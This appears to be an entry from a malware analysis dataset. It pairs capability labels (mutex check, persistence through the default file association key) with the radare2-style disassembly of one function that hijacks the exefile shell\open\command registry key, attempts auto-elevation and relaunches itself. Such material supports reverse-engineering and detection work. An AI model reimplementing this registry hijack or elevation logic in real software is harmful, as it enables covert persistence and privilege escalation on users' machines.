Function at 0x476410
Capabilities:
Check mutex on windows
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57ce68
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x84], edx
mov ebx, ecx
mov dword [ebp - 0x7c], ebx
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x58]
mov byte [ebp - 0x75], 0
call fcn.00476260
cmp dword [eax + 0x14], 0x10
jb 0x47645d
mov eax, dword [eax]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, dword [ebp - 0x44]
mov esi, eax
cmp edx, 0x10
jb 0x47649e
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x476494
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4768b8
push edx
push ecx
call fcn.00536da7
add esp, 8
push 0
push esi
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4764c8
mov byte [ebp - 0x75], 1
push str.___CLONE_INFO:_Im_a_clone_
jmp 0x4764cd
push str.___CLONE_INFO:_Im_original_process_
call fcn.0046b090
add esp, 4
push 0x5e2468
call fcn.0046b090
mov al, byte [0x5fdba3]
add esp, 4
test al, al
je 0x4765f6
push 7
xor eax, eax
mov dword [ebp - 0x18], 0
push str.__1___
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.0044b740
mov eax, dword [ebp - 0x18]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
add eax, eax
push 0
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x74]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SoftwareClassesexefile_shellopencommand
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x47656a
push dword [ebp - 0x80]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 1
push 0
push 0
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0x74]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SoftwareClassesexefile_shellopencommand
push SysReAllocString
call ebx
test eax, eax
jne 0x4765b4
push dword [ebp - 0x80]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 1
push 0
push 0
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4765ee
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4765e4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4768bd
push edx
push ecx
call fcn.00536da7
add esp, 8
mov ebx, dword [ebp - 0x7c]
mov al, byte [0x5fdba3]
cmp byte [ebp - 0x75], 0
je 0x476614
test al, al
jne 0x4766eb
mov dword [edi], 1
mov eax, 1
jmp 0x47689c
test al, al
jne 0x4766f2
mov edx, dword [ebp - 0x84]
mov ecx, ebx
call fcn.0047fb50
test eax, eax
je 0x4766d7
push str.___Auto_elevation_success.
call fcn.0046b090
add esp, 4
call fcn.0046b360
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x5fd987], 0
mov dword [edi], 0
je 0x4766cd
push 0x5ff1b0
lea ecx, [ebp - 0x58]
call fcn.004499d0
push 0
push str.AppData_
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0
call fcn.00463170
cmp eax, 0xffffffff
jne 0x476693
mov cl, 1
call fcn.00477340
mov edx, dword [ebp - 0x44]
cmp edx, 8
jb 0x4766cd
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4766c3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4768c2
push edx
push ecx
call fcn.00536da7
add esp, 8
mov eax, 1
jmp 0x47689c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Auto_elevation_failed__Code__lu.
call fcn.0046b090
add esp, 8
xor eax, eax
jmp 0x47689c
xor eax, eax
mov dword [ebp - 0x30], 0
cmp byte [0x5fd98b], al
mov ecx, 5
push 1
cmovne eax, ecx
mov dword [ebp - 0x2c], 7
movzx eax, ax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x7c], eax
xor eax, eax
push 0x5e3180
mov word [ebp - 0x40], ax
call fcn.0044b740
mov ecx, ebx
mov dword [ebp - 4], 1
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x476737
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x40]
call fcn.00452fa0
push 2
push 0x5e3184
lea ecx, [ebp - 0x40]
call fcn.00452fa0
mov ebx, dword [ebp - 0x84]
mov ecx, ebx
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x476770
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x40]
call fcn.00452fa0
cmp dword [ebp - 0x2c], 8
lea ecx, [ebp - 0x40]
mov edx, dword [ebp - 0x7c]
cmovae ecx, dword [ebp - 0x40]
push 0x2710
push 0
call fcn.00475b90
add esp, 8
test eax, eax
je 0x47684e
push str.___Re_launch_success.
call fcn.0046b090
add esp, 4
call fcn.0046b360
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x5fd987], 0
mov dword [edi], 0
je 0x476847
push 0x5ff1b0
lea ecx, [ebp - 0x70]
call fcn.004499d0
push 0
push str.AppData_
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 2
call fcn.00463170
cmp eax, 0xffffffff
jne 0x47680d
mov cl, 1
call fcn.00477340
mov edx, dword [ebp - 0x5c]
cmp edx, 8
jb 0x476847
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47683d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4768c7
push edx
push ecx
call fcn.00536da7
add esp, 8
mov esi, 1
jmp 0x476864
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Re_launch_failed__Code__lu.
call fcn.0046b090
add esp, 8
xor esi, esi
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x47689a
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x476890
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4768cc
push edx
push ecx
call fcn.00536da7
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00536b66
mov esp, ebp
pop ebp
ret
call fcn.00552841
call fcn.00552841
call fcn.00552841
call fcn.00552841
call fcn.00552841
int3